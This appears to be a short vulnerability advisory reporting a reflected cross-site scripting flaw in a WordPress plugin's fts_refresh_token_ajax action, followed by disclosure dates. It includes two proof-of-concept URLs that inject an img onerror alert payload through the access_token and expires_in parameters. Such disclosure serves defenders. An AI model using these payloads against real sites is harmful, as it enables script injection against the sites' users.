The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
Both can be used against authenticated and unauthenticated users https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&access_token=<img src onerror=alert(/XSS/)> https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=<img src onerror=alert(/XSS/)>
2022-07-26 (about 10 months ago)
2022-07-26 (about 10 months ago)
2022-08-25 (about 9 months ago)